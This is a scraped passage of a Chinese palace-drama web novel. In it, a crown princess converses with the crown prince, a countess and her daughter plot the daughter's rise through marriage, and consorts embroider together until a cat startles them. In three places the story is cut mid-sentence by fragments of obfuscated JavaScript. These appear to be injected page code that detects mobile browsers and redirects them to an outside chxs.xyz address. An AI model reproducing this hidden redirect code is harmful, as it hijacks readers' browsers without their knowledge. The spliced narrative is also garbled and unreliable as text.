又过了半炷香的工夫,燕景祁才忙完过来。元嘉正是困乏的时候,一本书拿在手里翻来翻去的,可到底也没有看进去几页。此刻听到院门口有动静,忙打起精神出门相迎。 随行的宫女内侍停于廊下,元嘉则与燕景祁相携进了里屋。 燕景祁随意落座,正坐在元嘉之前倚坐的软榻之上。后者顺势递给男人一方湿帕,等燕景祁净了脸,又递回给盼春,将人打发出去,这才坐在燕景祁对面,沉默着等人开口。 “今日一切可好?” 燕景祁问道。 “荷风园的景色很美,三公主也是娇俏可爱,”元嘉强打着精神,不提席上发生的事情,只捡着好听的话回答,“妾还遇上了熙宁皇姊,认识了康敏县主,还听到了穆王府的许多趣事,很是开心。” “……开心就好。” 燕景祁意义不明的看了眼元嘉,眉头略微舒展,“孤还怕你会不适应,看来是孤想错了。至于阿姊,她是听说你要去,才接了帖子同去的。” 元嘉一听,本还有些昏沉的大脑恢复了几分清醒,“……妾还以为,熙宁皇姊是应三公主之邀才去的。” 燕景祁笑了笑,“阿姊她和三皇妹的交情一般,平日里虽顾着脸面,该发的帖子一个不少,可十次里面,少说也有八次是不去的。这次也是知道了你要过去,才起了兴致答应的。” “……那改日,妾也得邀熙宁皇姊往哪处游玩一番才是,否则也太辜负皇姊今日的心意了。” 元嘉眸光微闪,只当没听出燕景祁在称呼上对燕景璇和三公主的不同,语气依旧和柔。 而燕景祁,应当很满意她在这件事上的主动,因为她的耳边很快就传来了男人的笑声,“那阿姊一定很高兴。不过地点得选在城外头才行,上京城里好玩的地方,阿姊早已经逛遍了。” 元嘉也跟着笑了几声,又勉强附和了两句,正不知该如何接话时,徐妈妈适时奉了两杯清茶进来,总算叫元嘉可以缓一口气。 燕景祁端起杯盏啜饮两口,忽而又想起了什么,“你刚才还说,在荷风园遇上了康敏县主?” 元嘉见他放下杯盏,也跟着放了回去,两手平置在膝头上,答道:“是,熙宁皇姊还说了许多扶风郡王的趣事。” “扶风郡王吗……” 燕景祁沉吟一声,“算来,孤也许久未见过穆王爷了。” “殿下从前认识扶风郡王?” 元嘉对穆瑶筝颇有好感,此刻又听燕景祁主动说起她的父亲,心中自是好奇。 “郡王家的孩子也是要送到宫里读书的,”燕景祁解释了一句,“穆王爷和父皇的交情颇好。从前在宫里时,孤倒与他有过数面之缘。” “穆王爷真如传闻中一般俊美吗?” 这话其实不应当问,可元嘉想到燕景璇的不吝称赞,觉得大抵是喝下去的醒酒汤还没起作用,朦胧醉意还在脑中盘桓,竟这样脱口而出。 而燕景祁,竟也认真想了一会儿,方道:“却也不假,上京第一美男子本就是穆王爷出现后才有的誉称,后来虽离了京,可余下的人谁也不敢说自己能胜过穆王爷,再提起来便默认还是穆王爷了。” 元嘉茫然若迷,“妾虽不是自小长于上京,可算起来也有小十载的光阴,怎的一点传闻都没听过?” 燕景祁这会儿反卖起关子来了,“你既知道扶风郡王,想来也听说过郡王妃了?” “是,今日也一并提了不少。郡王妃是宣平侯武家的娘子,”元嘉点点头,整个人因燕景祁挑起的种种话头精神了不少,“听说,也是位排的上号的美人。” “阿姊是这样跟你说的?” 燕景祁似笑非笑地看着元嘉,倒叫前者有些不确定起来,甚至疑惑是自己吃多了酒,记差了。 燕景祁发出一声愉悦的轻笑,“郡王妃的确是上京排的上号的美人。她若称第二,同辈中无人敢称第一。” “……什么?” 元嘉没想到是这个原因,一时未顾及声量,就这样惊呼出声。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004657|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“只不过因为穆王妃那一点点的小嗜好,叫宣平侯不敢多放了人出去。否则也不会在成婚后,才被人称作第一美人了。” 燕景祁显然被元嘉的反应取悦到了,眼中笑意更大了几分,“他夫妇二人离京前,京中但凡提起美人,便只认穆王妃,提起美男子,便只认穆王爷,甚至在离开之后很长一段时间,有人提起美这个字,第一反应的还是他们。若你是那时生人,又确带三分美貌,会愿意在他们离开后主动提起吗?” 元嘉这下听明白了──只怕是那几年,这夫妻俩杀了太多人的风头,搅得整个上京城风声鹤唳的,连带着夸人好看也得慎重三分了。怪不得自她有记忆以来,京中议人,总是先看品行,再议论相貌了。 元嘉想得出神,表情中不由得露出一丝向往。而这一切,自然也逃不过一直观察着前者的燕景祁的眼睛。他想了想,故意道:“莫不是在遗憾,没能亲眼见到这二人的绝代风华?” “妾若是与殿下一般年岁就好了,还能看一眼郡王夫妇年轻时的风姿。”元嘉倒也没否认,只是反应过来自己的行止或有不妥,遂不着痕迹的将话题引到二人的子女身上,“妾还听说,穆王府的小世子,随了他夫妇十成十的相貌。康敏县主已是很好看了,可县主却说自己不过随了父母五分颜色,也不知这世子爷将来是何等的容姿,妾还真是想见上一见。” 燕景祁闻言大笑,“再过两年,他夫妇二人要送小世子入宫读书,你不就能见到了?” 元嘉陡然反应过来──燕景祁方才似乎确有提及此事,只是因为自己正为两人相貌而惊讶,一时疏忽了。 不过…… “康敏县主也是穆家的女儿,怎的不见进宫读书?” 元嘉想起柳安沅白日说过的话,穆瑶筝每年只在上京小住些时日,这点子工夫,怕是只够进宫请安的,又哪来的时间读书呢? 燕景祁似乎很少和人说起这些市井逸事,如今被元嘉问起,倒提起了几分兴致,也乐得与前者说一道二。 “康敏县主原也是要回京读书的……偏那两年,京中矫枉过正,重品行而轻相貌。群王夫妇都是爱美的人,唯恐自家女儿回京沾了不正之风,便请了父皇的一道口谕,免了县主入京一事了。” “如今虽还是注重品行,对貌佳之人也不再吝于赞美。所以这位小世子,还是要进京念书,一直到加冠的年纪的。” 元嘉听罢,不免又高兴起来,连眉梢也不自觉透着笑意,好一会儿才想起燕景祁还坐在身边,轻咳两声,又将脸上的笑意收敛几分。 这是还醉着呢。 燕景祁无奈摇头,又兀自从榻上起身,“本是要过来问你的,却变成你一个问题接一个问题的问孤了……三皇妹那边,你今日说的做的就很好,往后也与她这般相处就够了。” 见元嘉还有些愣愣的,便干脆拉起人往侧间走去,“行了,早些安置吧。” 只是不知为何,元嘉的手心却一片冰凉,全然不似一个吃醉了酒的人会有的反应。 徐妈妈见人消失在帘后,这才悄无声息的离去,只在门口留下几个守夜的宫女。太子府重归寂静,而广平侯府却迟迟不曾熄灯。 42. 密谋求 菡兰院。 赵舒和一回到自己的院子,就摔了整套的茶具,可还是不解气,拿过砚台作势又要扔出去。 “那砚台,是你磨了半个月才从你父亲手里得回去的,摔之前想清楚了,可别后悔。” 福昌郡主早在赵舒和回来之前就在屋子里等着了,见她到处拿东西撒气的样子,连眼睛都没眨一下,直等到前者端起砚台,才不紧不慢的开口。 赵舒和僵在原地,一时间扔也不是放也不是,好一会儿才泄劲般掷开,却是连一分重力都不敢使。 “娘!” 赵舒和跺了两下脚,不满道。 “现在知道叫我娘了?”福昌郡主冷嗤一声,“你今日可真有本事,不去三公主跟前凑热闹,和漪澜阁的人浑说些什么话!好啊,如今被拿捏得死死的,我怎么会有你这样蠢的女儿!” “……娘?” 赵舒和再气恼,也听出了福昌郡主的语气不对,收了脾气,又小心靠坐在自家母亲身边,“是她自己不好,仗着李姨娘的肚子里揣了块肉,就敢对我说那些话,我、我只是气不过……” 福昌郡主斜斜睨了人一眼,朱唇微启,可说出的话却半点不留情── “气不过?有什么好气不过的。你是第一次瞧见府上姨娘有身孕?还是第一次被人唤姊姊?这么多年,早就该习惯了。” 由始至终,福昌郡主的表情都没有任何改变,语气更是十足的平淡。 “我、我……” 赵舒和一张嘴开了又合,到底想不出其他反驳的理由,最终只能不甘地偏过头,将贝齿咬得死紧。 “不说了?” 福昌郡主垂目扫了赵舒和一眼,见她面上还带着未散尽的忿恼,无奈叹了口气,“舒儿,还记得娘之前跟你说过的话吗?无须逞一时的嘴上威风,便是她生个儿子出来又如何,你有那么多的弟弟,可有哪个是真成了的?” 福昌郡主难得耐心地教导着自己这唯一的女儿,“李姨娘若真有那福气,你也得替她高兴,就算妍娘来日嫁人,她也不会在侯府里失了倚仗。你弟弟已经是世子了,有些东西,就不必再像从前那般在意。” 赵舒和仍不抬头,只扯着腰间的络子,声音极低地嘟囔着,“那女人还不够有福吗?生了赵妍和,从伺候人的丫鬟变成了被人伺候的主子。本来已经被父亲不知道忘在了哪个角落,却偏在这时候怀了孩子,若真是个儿子,早晚要骑在咱们头上!” “住口!” 福昌郡主高声打断,一双眸子看向赵舒和,眼中满是恨铁不成钢,“什么这女人那女人的,她是你父亲的妾室,就是你的庶母,你怎么如此言语无状!看来是我平日里宠你太过,叫你在我面前也敢这样没规没矩了!” 赵舒和还是害怕福昌郡主的,话音刚落便红了眼眶,可还是强撑道:“我有说错吗?那女、李姨娘抢在您前头生下赵妍和,若不是先太后压着,咱们早成了上京的笑柄了,更别提父亲做下的那些荒唐事!先太后刚薨的那两年,侯府在外头是什么名声,您难道忘了吗!” “我不服输,我事事要强,我拼了命的在人前做到最好,好不容易才有这满京称赞的好名声……我想做太子妃,想成为人上之人,想被人尊着敬着有什么错!凭什么还要被赵妍和威胁,来为她的婚事铺路!她是长女又如何,一个庶出,姨娘又只是株靠攀附他人才能生存的云雾草,凭什么觉得自己能嫁个好夫婿!” 赵舒和第一次看见自己喜怒不形于色的母亲在面上流露出一丝惊讶,就好像第一次认识自己一般。她努力扯了扯嘴角,想要勾起一抹微笑,可最终还是徒劳。 赵舒和看着自己的母亲,索性一不做二不休,继续道:“娘,他们都说,是因为您想和皇室再续前缘,所以才想方设法让我入熙宁公主的眼,让我赴赏菊宴争太子妃,又让我今日去荷风园凑趣三公主。” 福昌郡主沉默不语。 “便是他们说的都对,那又如何?我自己也是想试试的。父亲成不了我的依靠,我也等不到弟弟承袭爵位后再嫁人……与其和一个高不成低不就的世家子弟过一辈子,还不如搏一把,也许将来便是一世荣华!” 福昌郡主静静地听着,两只眼睛将赵舒和从头至脚打量了好几遍,直到前者的眼神开始闪躲,才出声道—— “我还在想,你究竟是随了谁的性子,既不像我,也不像你父亲,却原来是我看走眼了……这才是我戚有仪的女儿!” 赵舒和一听这话,一张俏脸涨得通红,好不容易鼓起的勇气顷刻间荡然无存。 “娘,我没您聪明,也比不上您想的长远……所以,您让我学什么,我就学什么,您让我与谁交好,我就与谁交好。只要能离我的夙愿更进一步,什么都无所谓!”赵舒和见已说破,索性将话说得更直白,“娘,您心之所求,亦是我心之所向!” “你是什么时候有这个念头的?” 福昌郡主又问道。 “我也不知道,”赵舒和有些艰难地摇头,“或许是第一次进宫见到先太后的时候,又或许是父亲接连不断地往府里带人的时候……总之,当我反应过来的时候,我就已经这样做了。” 福昌郡主终于露出来今日第一个笑容,“你既有如此志向,有些事情,我便也不必在你面前遮掩了。” 闻言,赵舒和坐直了身子,默默等着福昌郡主的下文。 “妍娘的夫婿,我会好好拣选,将来出嫁,也会让她风风光光的离开广平侯府。” “娘!” 赵舒和瞪大了眼睛,不敢相信自己说了这么多话,换来的却还是赵妍和一开始就想要的结果。 “你先听我说完。” 福昌郡主不满地瞥了人一眼,“我不管你是从哪里听到的消息,至少你娘我从来没想过要用婚事磋磨她。便是这些年,我如何不喜欢你爹那群庶子女,可在衣食用度上从来都是一视同仁,不曾落人话柄。哪怕所有人都知道我厌恶他们,可谁也没办法说我对他们不好。” “舒儿,你须得明白,拿着嫡庶尊卑、贵贱有别不放的,只有那些上不得台面的小门小户。越是高门显赫,越是要视同一律,这才是有家风的人家。” 赵舒和脸色有些难看。 她如何不知,所以对其他庶出弟妹虽谈不上热络,却也不曾恶言相向。只有赵妍和,像眼中钉肉中刺一般,搅得人心神难安。她只要想到前者这几年在自家父亲面前装出的解语花模样,和底下人逐渐不敢轻视的做派,便忍不住想象李姨娘当年是否也如此──靠着这样的方式将她母亲的脸面踩在脚下。 一来二去,赵妍和俨然成了心里的一块魔障! 自己女儿心里的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012007|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点心思,福昌郡主一猜便能猜着,但这种事只能自己想明白,旁人约莫是帮不上忙的。便是福昌郡主自己,也是在吃了大亏之后,才渐渐养成如今这副稳坐钓鱼台的模样。 “妍娘很聪明,也知道分寸,若非你故意在她面前说嘴,戳中了痛处,她也未必会说这样的话。” 福昌郡主从腰间解下一枚香囊,又搁在自家女儿的手心,“瞧瞧,明明是跟你一起回来的,可这香囊却在你进门前便送到我手上了。” “谁要她假惺惺地赔礼道歉!” 赵舒和虽嘴上倔强,可也不得不承认,赵妍和在这方面胜她太多。 “这话,我只说给你听,你一定要牢牢记住。” 福昌郡主难得严肃起来,“上边那位没几年活头了,你既有这个心思,便要趁早谋划。太子府里有两个良娣,一个良媛,两个奉仪,前些日子又新娶了正妃,至少登基前是不会再纳新人了。剩下三个皇子里面,只有一个成了年,可那一个却是位扶不起的阿斗,将来一个闲散亲王便也到头了。舒儿,咱们还是要把目光放在太子身上!” “我都听娘的。” 赵舒和面色逐渐缓和,捏着香囊的手指却在一点点收紧。 “妍娘是长女,她没许人家之前,断没有把你嫁出去的道理,所以只要有妍娘在前头挡着,你自能够等到新帝大选之日。若我猜的没错,那一位也就这两年了。” “孙妈妈年纪也大了,过些日子,我会给她些银钱,再置办几亩田地,让她回家安享晚年。你身边,另换一位姓周的嬷嬷伺候,她从前是宫里的宫正,与我有些交情,往后便由她为你讲解宫里的一切事宜。” “娘,不让孙妈妈走,可以吗?”赵舒和之前一直没有说话,直到福昌郡主提到了孙妈妈,“她、孙妈妈可是从小就陪在我身边的啊……” “可以啊。”福昌郡主难得没有反驳赵舒和的话,“孙妈妈不走,那便让周宫正过府做教习师傅,一并教导府里的女孩儿们好了,你愿意吗?” 赵舒和咬着唇,显然不乐意。又见福昌郡主始终好整以暇地望着自己,最后还是不情不愿地点了头,“……听娘的。” “外头的交际也不要断了,但要挑拣着来,露面不必太频繁。你那是经年养就的好名声,如今也该让它将你抬得更高些了。” 福昌郡主细细说着心中的谋划,母女俩你一言我一句的,不知不觉间蜡烛燃了大半,夜已深沉。 …… “大娘子今日很高兴?” 李氏小心翼翼地开口,生怕又惹了自家女儿的嫌弃。 “嗯!”赵妍和眉开眼笑,“有件我担心许久的事或许要成了,所以高兴。” “那、那就好。” 李氏想了又想,还是不知道该说些什么,只好干巴巴的一声附和。 “姨娘早些安置吧,我这会儿也倦累的很,就不多叨扰姨娘了。” 赵妍和却没注意到李氏微小的不自在,只沉浸在自己满腔的喜悦当中,“这些日子父亲脾气不好,姨娘便不要去找父亲了,好生在漪澜阁过自己的小日子吧。” 李氏应了一声,还想找些话说,赵妍和却已带着侍女往自己屋子走去。李氏从不敢挽留女儿,只好默默地站在原地看着,一直到赵妍和从自己的视线内彻底消失,才恋恋不舍地往回走。 43. 闲刺绣 元嘉头天吃了酒,第二日又起早送燕景祁出门,放松下来后,整个人都有些恹恹。 随意捡了碟子里的几块点心就着茶水吃掉,元嘉一时兴味索然。见窗外枝叶扶疏,正是一片好景色,心情略回转了些,扭头唤过盼春,便要将杌凳摆到树下。 盼春几人哪敢让元嘉这样随意,又是搬圈椅,又是挪案几,怕元嘉蜷着身子不舒服,还放了个脚凳在椅前,最后将毡条一铺,另换了壶新茶,这才请元嘉落座。 “女君这是要绣什么?” 红玉得了吩咐,在里屋靠窗的柜子边上,找到了这件未绣完的布料,又小心递给了元嘉。 元嘉正选着绣线,迎着日光比了又比,好一会儿才选定了颜色。见红玉过来,抬手接过绣绷,随意起了几针,这才开口── “给欧阳将军做的夏衣,之前已做了大半,只前段日子总不得空,便收起来了……眼瞧着都入夏了,可不能再耽搁了。” 元嘉嘴上解释两句,手下动作却不停。一开始还有些僵滞,几针过后,便开始飞针走线起来。 倪娉柔和刘婵过来之时,见到的便是这副景象。 “问太子妃安!” 元嘉正聚精会神地绣着,兀的听到一声熟悉的呼唤,忙几针收了脚,笑着抬头。 “来贵客了!” 看清楚来人模样后,元嘉连忙将绣绷放在一边,起身迎道:“快进来!” 倪娉柔也不客气,笑嘻嘻地挽过元嘉手臂,却不往里屋去,反而停在了元嘉之前坐着的地方。 “妾身两个唐突来扰,哪能再让您陪着往里屋去,”倪娉柔左右看了看,“若您不嫌,便叫妾身们在这花树底下与您做个伴。” 元嘉指着倪娉柔冁然一笑,还来不及说话,红玉与盼春便会意地另搬了两个圈椅出来,布置妥帖后躬身退下,将这方天地留给元嘉三人。 “原是我突然起兴,你们便将就坐会儿吧”。元嘉朝刘婵一点头,又拉过倪娉柔,将她摁在椅子上,另斟了热茶递到前者手边,“你昨日怕是吃醉了酒,不好好养着,怎的还有精力过来寻我?” 倪娉柔笑着接过,“有您送来的醒酒汤,我昨夜睡得可好了,今早起来神清气爽,所以特来谢您的。” 刘婵坐在另一侧,顺着倪娉柔的话又道:“本以为要让膳房重新起灶,哪想芝兰过去的时候,正好遇上敛秋遣人往竹香馆去,这才省了一顿工夫。” 元嘉看了两人几眼,而后了然般一点头,“看来阿柔昨夜是歇在你的竹香馆了,也不知她酒品如何,可有闹着你?” “……谁醉了!” 倪娉柔顿时不依,“我只是困了懒得走动,这才请刘姊姊收留一晚。就那点子果酒,哪能醉倒我!” 元嘉与刘婵相视一笑,本想再说些什么,却又在称呼上犯了难。后者自然也看出来了,微微一笑,“我年长阿柔几岁,所以她唤我一声姊姊,女君若是不嫌弃,便唤我素娥如何?” “……素娥?” 刘婵笑着点头,眼中尤带三分缅怀之色,“我名中带婵,乃是取婵娟之意。素娥是月宫的仙子,家母病笃之时,替我取了这个小字,希望我这轮圆月能得天上女仙看顾,无病无灾。” “姊姊的娘亲定是做了素娥女仙,如今日日护着姊姊和姊姊的孩子呢!” 倪娉柔见刘婵似有感伤,连忙安慰道。 刘婵不由失笑,轻拧了一下倪娉柔脸颊,嗔怪道:“呸呸呸,哪能这样议论神佛!” 元嘉顺势转了话头,“我不曾有过小字,素娥便也唤我元娘吧。” 刘婵眉笑眼舒,自是无有不应。 倪娉柔跟着笑闹了几句,余光瞧见元嘉放在一旁的绣绷,猛地想起进来时看到的场景,下意识道:“元娘这是要给太子绣物件儿?” 元嘉惊讶地望了人几眼,见她一副失言懊恼的模样,哑然失笑,拿过绣绷便递到倪娉柔手上,示意她自己端看。 倪娉柔茫然接过,垂下眼睑,又左右翻看了几下,顿时有些讪讪,“我、我娘以前也会时不时绣些物件让我爹带在身上,我、我就以为……” 话没说完,自己倒先哎呀一声,手作握拳状敲了几下额头,把绣绷递了回去,“都是我的不是,还请太子妃不要见怪!” 一副懊恼至极的样子。 “这里又没有旁人,你做甚又叫我太子妃?”元嘉打趣道,见眼前人似乎真怕自己生了气,不免放缓了语气,“我没生气,真的。” 闻言,倪娉柔又细细观察了元嘉的神色,见她确是一切如常,一颗心才落下大半。 元嘉抚了抚绣面,将针拨下又开始动作起来,口中道:“不说太子,便是咱们几个,谁的衣物不是六尚局的做好了送过来。我的技法再好,也难及宫里的绣娘。所以,便不做那无用功了。” 如此解释了一番,倪娉柔才算是彻底安心,态度也恢复了之前的随意。刘婵也瞧了那绣绷子几眼,见款式图案皆不似男子样式,奇怪道:“元娘莫不是在给自己绣衣裳?” 只是才刚说完,便又自我否认般摇了头──元嘉才说过不做无用功,又怎么会给自己做衣裳呢? “这天气是越来越热了,我赶着给沁姊姊把夏衣做好,趁她还在上京的时候送过去。” 元嘉换了个颜色,比划了两下,继续落针,空隙间瞧见两人有些迷惘的表情,又解释了一句,“便是欧阳将军。” 二人这才恍然。 “元娘动作如此娴熟,想是给欧阳将军做过不少衣裳了。” 刘婵瞧了一会儿,突然道。 “素娥好眼力。” 元嘉放慢了落针的速度,一边继续往布料上绣着花样,一边回答道:“我与欧阳将军少时相识,从她去边城驻军时起,便每年做些东西托人带过去。起初技法生疏,只做得了荷包香囊,后来跟了师傅,学的东西多了,便也开始做腰带靴履了……“ “可我动作实在是慢,”元嘉说着说着,露出几分难为情的笑,“从前夸下海口,说要每年给她做够四季衣裳,如今却也只能保证一年一套,另随些小物件罢了。” “朝廷不是每年都会分发军衣和其他补给给戍边的将士们吗?” 倪娉柔不解道。 “……打仗苦的很呢。” 元嘉垂目一笑,只说了这一句,再不做其他解释。 刘婵倒似听出了什么未尽之意,伸手拿过元嘉放在一旁的未用的丝线,左右翻看了几下,又轻巧地用指尖勾出一缕,“我倒是记得,欧阳将军手下,还有一支几千人的女兵。” 元嘉顿了一下,又像是什么也没发生般继续动作,只轻轻从喉咙深处嗯了一声。 “元娘可还有未做完的针线?我刺绣技艺寻常,但一般的针线活还是拿得出手的。元娘若是不嫌弃,便让我也搭一把手,虽做不出什么漂亮衣裳,但这时节,做些驱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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元嘉眼中闪过一丝笑意,“若我没记错,这帕子应是她去年绣的。” 倪娉柔突然高兴起来,又拿过绣帕来回翻看着,越看嘴边笑意越大,“这世上总算是有和我一样苦于刺绣的人了。” “靖安郡主极擅纭裥绣,”元嘉笑着解释,“偏阿沅于此道不精,不管郡主如何教导,愣是一点皮毛也学不会。如今便换成由刺绣师傅教授功课了,一幅不行,便绣十幅,绣得多了,总有一个是能见人的。” 刘婵接过布料,正就着之前的丝线挑选颜色,闻言瞥了那绣帕几眼,亦是笑弯了眼,“柳娘子这绣艺确实与娉柔不相上下……元娘莫不是想让娉柔帮着绣上几方,以备柳娘子不时之需?” “确有此意。”元嘉无奈点头,“这东西于阿沅,既不擅长,也不喜欢,让她坐在绣架前动针线,简直跟要了她的命一般。可若完不成功课,又一定会挨靖安郡主的训……这也是没有办法的办法了。” “我还记得有一次,为了绣好一幅花鸟图,阿沅被靖安郡主关在屋子里整整一个月,好容易绣完了给放出来,整个人颓丧的不行,被宿国公带到京郊痛玩了一大圈才好起来。” 倪娉柔在一旁听着,颇有感同身受之意,又随着元嘉的话不住点头,“叫阿沅放心,这帕子我替她绣了,管叫靖安郡主瞧不出是第二个人做的!” 说罢,便另寻了块料子,细细比照着绣帕上的针法,动起手来。 元嘉与刘婵相视而笑,又默契地低下头做起自己的事来。一时间,长春馆静得出奇,只有风吹过树叶发出的簌簌轻响。 44. 惊狸猫 “女君,康敏县主使了人过来,此刻正在院外等候,想向您请安呢!” 三人各自做着针线,正聚精会神之际,忽然听到有人走近的脚步声,和紧随其后的一声禀请。 闻言,元嘉收起绣绷子,又与倪娉柔两人对视一眼,一时想不出穆瑶筝命人过来的缘由,干脆先让拂冬将其带进来,等见了人再做细问。 “给太子妃请安,见过二位良娣!” 不多时,拂冬从院外领进个穿圆领袍、戴幞头的年轻郎君,才穿过院门便有分寸地止步,躬身向在场几人请安。 “……你是,县主身边的小厮?” 无怪乎元嘉有此一问,实在是穆瑶筝昨日的话言犹在耳,这会儿来的又是个年轻郎君。原不该她去担心,可也是怕前者太过“潇洒”,直接将自己认下的哪个哥哥或是弟弟派了来……未免生出无谓的事端,还是多问一句为好。 “奴婢巧蕊,是县主身边的侍女。” 来人总算抬起一直微垂的脑袋,却是一张俏丽脸蛋──原是姑娘家做了儿郎打扮,倒和穆瑶筝穿胡服赴三公主筵席有异曲同工之妙。 元嘉下意识啊了一声,一是为自己误看了人而感叹,二则是……这穆瑶筝的侍女,竟也是个不可多得的美人坯子。她本以为美人邸只在云南,如今看来,只要是穆家人在的地方,便都是美人邸了。 “可是你家县主让带什么话过来?” 元嘉收起许多的胡思乱想,又笑着看向巧蕊。 前者嫣然含笑,又是一个屈膝,方才开口:“县主让奴婢送玉佩过来。说是昨日一见如故却来去匆匆,实在是有些遗憾,故而特意备下薄礼送来。还请太子妃殿下和两位良娣莫要嫌弃。” 元嘉本只当穆瑶筝昨日的话只是戏言,哪知竟真的送玉佩过来了。一时间不知该谢过,还是摇头失笑。 倒是倪娉柔见巧蕊只身一人,不似带了玉佩的样子,好奇道:“既是送东西过来,怎的两手空空?” 巧蕊神态自若,从腰间取下一枚荷包,又扯开束绳,将里头的东西轻轻倒了出来,竟是三个略小的囊袋。自己却并不近身,只小心递给了拂冬,又轻声说了两句什么,由着前者将囊袋捧向元嘉三人。 “实在不是慢待太子府,只这些日子老夫人看的紧,县主委实不敢大张旗鼓地往外送东西,这才叫奴婢装在荷包里送过来。” 顿了顿,又道:“原都是系了穗子的,但不知为何,县主昨日回来便剪掉了所有的穗子……故而今日送来的,便只有这一块玉佩了。” 闻言,三人解开囊袋。元嘉的是一只凤鸟,倪娉柔的是一朵芙蓉花,而刘婵的则是一枚平安扣──想是知道刘婵有个女儿,特意选的。 “县主有心了,这玉佩选得极好,我们都很喜欢。”元嘉将东西小心收好,又朝巧蕊言道,“还请你回去了替咱们谢上一声,另请县主得空时,常来太子府说话。” 巧蕊自是应下,只是还不等再说别的,就被脚边突然窜过的一个活物吓得惊叫出声,重心一歪便摔在了地上。那活物的动作极快,在场一众人谁也没看清它是什么模样,便又消失在花丛深处了。 徐妈妈领着红玉几个闻声赶来,又四处搜寻了一波,才在一处被杂草盖住的凹陷洼地抓到罪魁祸首──一只棕白毛色的狸猫。 元嘉三人也是惊魂未定,尤其是倪娉柔,神色中带着明显的惊慌。至于巧蕊,早在那声惊叫后便跪伏请罪,直到这只狸猫被人抓住,才暗暗松了口气。 元嘉最先回过神来,见巧蕊还伏在地上不敢直腰,来不及细究这猫来自何处,先道:“快起来!原是你无辜遭吓,怎么反倒请起罪来。” 巧蕊又是一声告罪,方才撑住地面慢慢起身,脚下却还是有些不稳。又想起刚才情景,心知不宜再继续停留,强自定了定神,方道:“玉佩既已送到,奴婢便也不叨扰太子妃与二位良娣了,这就回去向县主回话。” 元嘉先是点头,又朝着人指了一下拂冬,“叫你今日在太子府受了惊吓,是本宫的不是。让拂冬带你去取些安神的药,再陪你一道回去。” 巧蕊一听便要推拒,元嘉又笑着将人招到身前,从手上褪下一枚戒指,放到前者手心,“你本是替康敏县主过来送东西的,哪想在本宫这儿受了场无妄之灾。这戒指便算本宫的赔礼,回去了找大夫瞧瞧,脚上的伤严不严重……我让拂冬送你一程,也好当面告诉县主,好叫你休息几日,没的伤上加伤。” 巧蕊这才知道,自己扭伤的事情已被元嘉察觉,心中又添三分感激。便也不再推拒,只更加恭敬地开口:“太子妃厚德,奴婢感念!” 元嘉见她收下,又说了两句才叫拂冬带着人离开,而后打量起窝在盼春怀里的狸猫来。 “这猫是哪来的?” 倪娉柔皱着眉,颇为不快。 她许久不碰针线,好不容易起了个头,却被这猫吓了一跳,慌乱间刺破了手指,等回过神来,绣布上早已沾上血迹不能要了,眼瞧着一番功夫作废,叫她如何能不气恼。 “也没听说府里有谁养猫,怕不是外头的野猫?” 元嘉有些不确定。 “不是野猫,”刘婵细细打量了一番,摇了摇头,“你们看,这猫儿的毛色鲜亮,浑身圆滚滚的,被人拎住不仅不反抗,还使劲往怀里钻。这样亲人,还该是府里头的人养的。” 倪娉柔一听这话,更是气不打一处来,当即扬声道:“芝兰!立刻去外头走一圈,看谁在府里寻猫,找到了便直接带过来!” 芝兰答应一声便要往外走,却又被玉兰一把拦住──自然是刘婵的意思。 “……姊姊!” 倪娉柔不满地唤了一声,“姊姊可别觉得我是小题大做了,府里头虽未明言不许养猫,可出了那档子事,谁还敢养这些带毛的玩意儿!若是叫太子看到了,保不齐还要生气……若再牵连到咱们几个身上可怎么办!” “你这样大张旗鼓的,谁会认?” 刘婵拍了拍倪娉柔手背,“把芝兰留下,让玉兰出去转上一转。就说是她捡到了猫,怕主子看到,所以偷偷藏了起来,让养猫的人赶紧去她屋里带走。” 倪娉柔也是一时生气,这才不管不顾地让玉兰出去拿人,如今见刘婵的主意更妥帖,心里自是答应,可面 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元嘉眉心微蹙,仍是先命宫女们散开,这才回答:“我自然是奇怪的。可那日太子提起卫良媛,态度实在冷淡,又说卫良媛体弱,可若真的不好,这些日子为何一次都没去探望过……我自然也踌躇,甚至在想,卫良媛不来,是不是有太子的意思在里头。” “卫良媛是体弱,可若说病得连门都出不了,那便是虚言了。” 顿了顿,又道:“元娘对卫良媛知道多少?” 元嘉摇头,“我虽问过红玉两句,但也只知道卫良媛为何会患哮喘,又为何会搬去畅和馆……至于其他的,便再无所知了。” “红玉哪里好议论主子,这其中又有许多的不便说之处……” 倪娉柔两手交叠置于膝前,目光游移不定,显然对自己接下来要说的事情还有些迟疑。 最后还是刘婵开了口。 这位卫良媛,原是燕景祁数名妃妾中最早入府的。其父卫兆兴,早年间在弘文馆做校书郎,后外放出京至各州任职,官至刺史。母亲杨氏却非卫兆兴原配,而是其在登州时续娶的继室。杨氏是卫良媛的生身母亲,可卫良媛却非卫兆兴的骨肉,而是杨氏亡夫的女儿。 